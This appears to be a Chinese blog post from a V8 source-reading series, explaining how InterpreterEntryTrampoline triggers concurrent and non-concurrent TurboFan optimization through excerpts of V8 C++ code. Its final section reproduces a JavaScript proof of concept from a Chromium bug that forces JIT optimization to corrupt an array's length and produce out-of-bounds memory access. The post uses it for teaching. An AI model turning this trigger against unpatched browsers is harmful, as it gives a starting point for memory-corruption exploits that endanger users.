

《Chrome V8 源码》42. InterpreterEntryTrampoline 与优化编译



求助！求助！

我基于chromium做了一款能检测DOM-XSS的浏览器，急需XSS测试用例，求各路大神给我些真实的用例，感谢！

1 介绍

InterpreterEntryTrampoline 属于 V8 ignition，负责为 JSFunction 函数构建堆栈并执行该函数，也负责启动优化编译功能 Runtime_CompileOptimized_Concurrent。之前的文章讲过 InterpreterEntryTrampoline 与解释执行，而本文重点介绍 InterpreterEntryTrampoline 与 Runtime_CompileOptimized_Concurrent 之间的调用关系以及重要数据结构。

2 InterpreterEntryTrampoline 源码

源码如下：

```
1. void Builtins::Generate_InterpreterEntryTrampoline(MacroAssembler* masm) {
2.   Register closure = rdi;
3.   Register feedback_vector = rbx;
4.   __ LoadTaggedPointerField(
5.     rax, FieldOperand(closure, JSFunction::kSharedFunctionInfoOffset));
```

```

6.  __ LoadTaggedPointerField(
7.     kInterpreterBytecodeArrayRegister,
8.     FieldOperand(rax, SharedFunctionInfo::kFunctionDataOffset));
9.  GetSharedFunctionInfoBytecode(masm, kInterpreterBytecodeArrayRegister,
10.                                kScratchRegister);
11.  Label compile_lazy;
12.  __ CmpObjectType(kInterpreterBytecodeArrayRegister, BYTECODE_ARRAY_TYPE,
13.                  rax);
14.  __ j(not_equal, &compile_lazy);
15.  __ LoadTaggedPointerField(
16.     feedback_vector, FieldOperand(closure,
17.                                   JSFunction::kFeedbackCellOffset));
18.  __ LoadTaggedPointerField(feedback_vector,
19.                              FieldOperand(feedback_vector,
20.                                           Cell::kValueOffset));
21.  Label push_stack_frame;
22.  __ LoadTaggedPointerField(
23.     rcx, FieldOperand(feedback_vector, HeapObject::kMapOffset));
24.  __ CmpInstanceType(rcx, FEEDBACK_VECTOR_TYPE);
25.  __ j(not_equal, &push_stack_frame);
26.  Register optimized_code_entry = rcx;
27.  __ LoadAnyTaggedField(
28.     optimized_code_entry,
29.     FieldOperand(feedback_vector,
30.                   FeedbackVector::kOptimizedCodeWeakOrSmiOffset));
31.  Label optimized_code_slot_not_empty;
32.  __ Cmp(optimized_code_entry, Smi::FromEnum(OptimizationMarker::kNone));
33.  __ j(not_equal, &optimized_code_slot_not_empty);
34.  Label not_optimized;
35.  __ bind(&not_optimized);
36.  __ incl(
37.     FieldOperand(feedback_vector, FeedbackVector::kInvocationCountOffset));
38.  /*解释执行, 参见之前的文章*/
39.  /*解释执行, 参见之前的文章*/
40.  /*解释执行, 参见之前的文章*/
41.  __ bind(&optimized_code_slot_not_empty);
42.  Label maybe_has_optimized_code;
43.  __ JumpIfNotSmi(optimized_code_entry, &maybe_has_optimized_code);
44.  MaybeOptimizeCode(masm, feedback_vector, optimized_code_entry);
45.  __ jmp(&not_optimized);
46.  __ bind(&maybe_has_optimized_code);
47.  __ LoadWeakValue(optimized_code_entry, &not_optimized);
48.  TailCallOptimizedCodeSlot(masm, optimized_code_entry, r11, r15);
49.  __ bind(&stack_overflow);
50.  __ CallRuntime(Runtime::kThrowStackOverflow);
51.  __ int3(); // Should not return.
52. }

```

上述代码中，第 2 行代码 closure 是 JSFunction 函数地址；

第 4 行代码从 JSFunction 中获取 SharedFunction 函数地址，并保存到 rax 寄存器；

第 6-9 行代码从 SharedFunction 中获取 BytecodeArray 地址，并保存到 kInterpreterBytecodeArrayRegister 寄存器；

第 12 行代码判断 `kInterpreterBytecodeArrayRegister` 寄存器的值是 `BytecodeArray` 或者 `compile_lazy`;

提示： JavaScript 源码编译时，如果该 `SharedFunction` 不是最外层函数，而是一个函数调用，该 `SharedFunction` 被标记为 `compile_lazy`，那么 `kInterpreterBytecodeArrayRegister` 的值是 `compile_lazy`。

第 14-16 行代码加载 `feedback_vector`；`feedback_vector` 保存当前 `SharedFunction` 的优化信息；

第 19-25 行代码获取 `feedback_vector` 的 `Map`，并判断当前 `SharedFunction` 是否已被 TurboFan 编译了；

第 33 行代码 `feedback_vector` 的值增加 1，记录当前 `SharedFunction` 的执行次数，当 `feedback_vector` 值达到一个阈值时会触发 TurboFan 编译该 `SharedFunction`，即优化编译；

第 34-37 行代码省略了解释执行 `BytecodeArray` 的过程，参见之前的文章；

第 41 行代码启动优化编译器，生成优化代码入口 `optimized_code_entry`；

第 45 行代码执行 `optimized_code_entry`。

`MaybeOptimizeCode()` 负责启动优化编译，源码如下：

```
1. static void MaybeOptimizeCode(MacroAssembler* masm, Register feedback_vector,
2.                               Register optimization_marker) {
3.     DCHECK(!AreAliased(feedback_vector, rdx, rdi, optimization_marker));
4.     TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
5.                                   OptimizationMarker::kLogFirstExecution,
6.                                   Runtime::kFunctionFirstExecution);
7.     TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
8.                                   OptimizationMarker::kCompileOptimized,
9.                                   Runtime::kCompileOptimized_NotConcurrent);
10.    TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
11.                                  OptimizationMarker::kCompileOptimizedConcurrent,
12.                                  Runtime::kCompileOptimized_Concurrent);
13.    if (FLAG_debug_code) {
14.        __ SmiCompare(optimization_marker,
15.                      Smi::FromEnum(OptimizationMarker::kInOptimizationQueue));
16.        __ Assert(equal, AbortReason::kExpectedOptimizationSentinel);
17.    }
18. }
```

上述代码中，第 7-12 行根据 `optimization_marker` 的值决定使用 `CompileOptimized_NotConcurrent` 或 `CompileOptimized_Concurrent` 编译方法。这两种方法的区别是 `NotConcurrent` 和 `Concurrent`，但它们的编译流程一样。

3 优化编译

`Concurrent` 和 `NotConcurrent` 的入口函数如下：

```
RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
    HandleScope scope(isolate);
    DCHECK_EQ(1, args.length());
    CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
    StackLimitCheck check(isolate);
    if (check.JsHasOverflowed(kStackSizeRequiredForCompilation * KB)) {
        return isolate->StackOverflow();
    }
}
```

```

}
if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
    return ReadOnlyRoots(isolate).exception();
}
DCHECK(function->is_compiled());
return function->code();
}
//分隔线.....
RUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {
    HandleScope scope(isolate);
    DCHECK_EQ(1, args.length());
    CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
    StackLimitCheck check(isolate);
    if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
        return isolate->StackOverflow();
    }
    if (!Compiler::CompileOptimized(function, ConcurrencyMode::kNotConcurrent)) {
        return ReadOnlyRoots(isolate).exception();
    }
    DCHECK(function->is_compiled());
    return function->code();
}

```

上述两部分代码都会调用 `Compiler::CompileOptimized()`，它是编译的入口函数，该函数中调用 `GetOptimizedCode()` 以完成编译工作，`GetOptimizedCode` 源码如下：

```

1. MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
2.                                     ConcurrencyMode mode,
3.                                     BailoutId osr_offset = BailoutId::None(),
4.                                     JavaScriptFrame* osr_frame = nullptr) {
5.     //省略.....
6.     if (V8_UNLIKELY(FLAGS_testing_d8_test_runner)) {
7.         PendingOptimizationTable::FunctionWasOptimized(isolate, function);
8.     }
9.     Handle<Code> cached_code;
10.    if (GetCodeFromOptimizedCodeCache(function, osr_offset)
11.        .ToHandle(&cached_code)) {
12.        if (FLAG_trace_opt) {
13.            CodeTracer::Scope scope(isolate->GetCodeTracer());
14.            Printf(scope.file(), "[found optimized code for ");
15.            function->ShortPrint(scope.file());
16.            if (!osr_offset.IsNone()) {
17.                Printf(scope.file(), " at OSR AST id %d", osr_offset.ToInt());
18.            }
19.            Printf(scope.file(), "]\n");
20.        }
21.        return cached_code;
22.    }
23.    DCHECK(shared->is_compiled());
24.    function->feedback_vector().set_profiler_ticks(0);
25.    VMState<COMPILER> state(isolate);

```

```

26.   TimerEventScope<TimerEventOptimizeCode> optimize_code_timer(isolate);
27.   RuntimeCallTimerScope runtimeTimer(isolate,
28.                                     RuntimeCallCounterId::kOptimizeCode);
29.   TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.OptimizeCode");
30.   DCHECK(!isolate->has_pending_exception());
31.   PostponeInterruptsScope postpone(isolate);
32.   bool has_script = shared->script().IsScript();
33.   DCHECK_IMPLIES(!has_script, shared->HasBytecodeArray());
34.   std::unique_ptr<OptimizedCompilationJob> job(
35.       compiler::Pipeline::NewCompilationJob(isolate, function, has_script,
36.                                             osr_offset, osr_frame));
37.   OptimizedCompilationInfo* compilation_info = job->compilation_info();
38.   if (compilation_info->shared_info()->HasBreakInfo()) {
39.       compilation_info-
>AbortOptimization(BailoutReason::kFunctionBeingDebugged);
40.       return MaybeHandle<Code>();
41.   }
42.   if (!FLAG_opt || !shared->PassesFilter(FLAG_turbo_filter)) {
43.       compilation_info-
>AbortOptimization(BailoutReason::kOptimizationDisabled);
44.       return MaybeHandle<Code>();
45.   }
46.   base::Optional<CompilationHandleScope> compilation;
47.   if (mode == ConcurrencyMode::kConcurrent) {
48.       compilation.emplace(isolate, compilation_info);
49.   }
50.   CanonicalHandleScope canonical(isolate);
51.   compilation_info->ReopenHandlesInNewHandleScope(isolate);
52.   if (mode == ConcurrencyMode::kConcurrent) {
53.       if (GetOptimizedCodeLater(job.get(), isolate)) {
54.           job.release();
55.           function-
>SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
56.           DCHECK(function->IsInterpreted() ||
57.                 (!function->is_compiled() && function-
>shared().IsInterpreted()));
58.           DCHECK(function->shared().HasBytecodeArray());
59.           return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
60.       }
61.   } else {
62.       if (GetOptimizedCodeNow(job.get(), isolate))
63.           return compilation_info->code();
64.   }
65.   if (isolate->has_pending_exception()) isolate->clear_pending_exception();
66.   return MaybeHandle<Code>();
67. }

```

上述代码中，第 10-22 行查询 CodeCache，如果命中则直接返回结果；第 24 行重置 feedback_vector，因为该函数即将被优化编译，不再需要做热点统计；

第 34-37 行创建优化编译的实例对象 job；

第 37-50 行判断 Flag、记录编译方式（Concurrent 或 NotConcurrent）；

第 52 行根据编译方式的不同，选择现在编译（GetOptimizedCodeNow）或稍后编译

(GetOptimizedCodeLater) ;

第 59 行返回 BUILTIN_CODE(isolate, InterpreterEntryTrampoline)，因为是稍后编译，也就是 Concurrent 方式，当下的解释执行不能停，所以才有这样的返回结果；

第 62 行此时为 NotConcurrent，所以第 63 行代码返回编译后的 code。

简单说明 GetOptimizedCodeNow 的工作流程，源码如下：

```
1. bool GetOptimizedCodeNow(OptimizedCompilationJob* job, Isolate* isolate) {
1.   TimerEventScope<TimerEventRecompileSynchronous> timer(isolate);
2.   if (job->PrepareJob(isolate) != CompilationJob::SUCCEEDED ||
3.       job->ExecuteJob(isolate->counters()->runtime_call_stats()) !=
4.       CompilationJob::SUCCEEDED ||
5.       job->FinalizeJob(isolate) != CompilationJob::SUCCEEDED) {
6.     // 省略.....
7.     return false;
8.   }
9.   // 省略.....
10.  return true;
11. }
```

上述代码与 Bytecode 的编译过程相似，也分为三部分：1. PrepareJob；2. ExecuteJob；3. FinalizeJob。

PrepareJob 负责编译前的准备工作；ExecuteJob 负责所有编译工作；FinalizeJob 负责把编译结果（code）安装到 SharedFunction 中、更新 CodeCache 等收尾工作。GetOptimizedCodeLater 的工作流程是：将编译任务 Job 放进了编译分发（dispatch）队列，待编译完成后会设置相应的 SharedFunction 状态。

4 Concurrent 测试用例

源码如下：

```
1. array = Array(0x40000).fill(1.1);
2. args = Array(0x100 - 1).fill(array);
3. args.push(Array(0x40000 - 4).fill(2.2));
4. giant_array = Array.prototype.concat.apply([], args);
5. giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
6. length_as_double =
7.   new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
8. function trigger(array) {
9.   var x = array.length;
10.  x -= 67108861;
11.  x = Math.max(x, 0);
12.  x *= 6;
13.  x -= 5;
14.  x = Math.max(x, 0);
15.  let corrupting_array = [0.1, 0.1];
16.  let corrupted_array = [0.1];
17.  corrupting_array[x] = length_as_double;
18.  return [corrupting_array, corrupted_array];
19. }
20. //console.log(length_as_double);
```

```
21. for (let i = 0; i < 30000; ++i) {
22.   trigger(giant_array);
23. }
24. //console.log(length_as_double);
25. corrupted_array = trigger(giant_array)[1];
26. //DebugPrint(corrupted_array);
27. console.log('Now corrupted array length: ' +
corrupted_array.length.toString(16));
28. corrupted_array[0x123456];
```

上述代码来自 chromium issue 1086890。第 8 行代码 trigger() 创建并返回数组，第 21 行代码循环执行 trigger() 会触发 Runtime_CompileOptimized_Concurrent 方法。函数调用堆栈如图 1 所示。



新文章介绍

《Chrome V8 Bug》系列文章即将上线。

《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因，并向你展示这些漏洞如何影响 V8 的正确性。其他的漏洞文章大多从安全研究的角度分析，讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的，分析 PoC 在 V8 中的执行细节，讲解为什么 Poc 要这样设计。当然，学习 Poc 的设计与使用，是 V8 安全研究的很好的出发点，所以，对于希望深入学习 V8 源码和 PoC 原理的人来说，本系列文章也是很有价值的介绍性读物。

好了，今天到这里，下次见。

个人能力有限，有不足与纰漏，欢迎批评指正

微信：qq9123013 备注：v8交流 邮箱：v8blink@outlook.com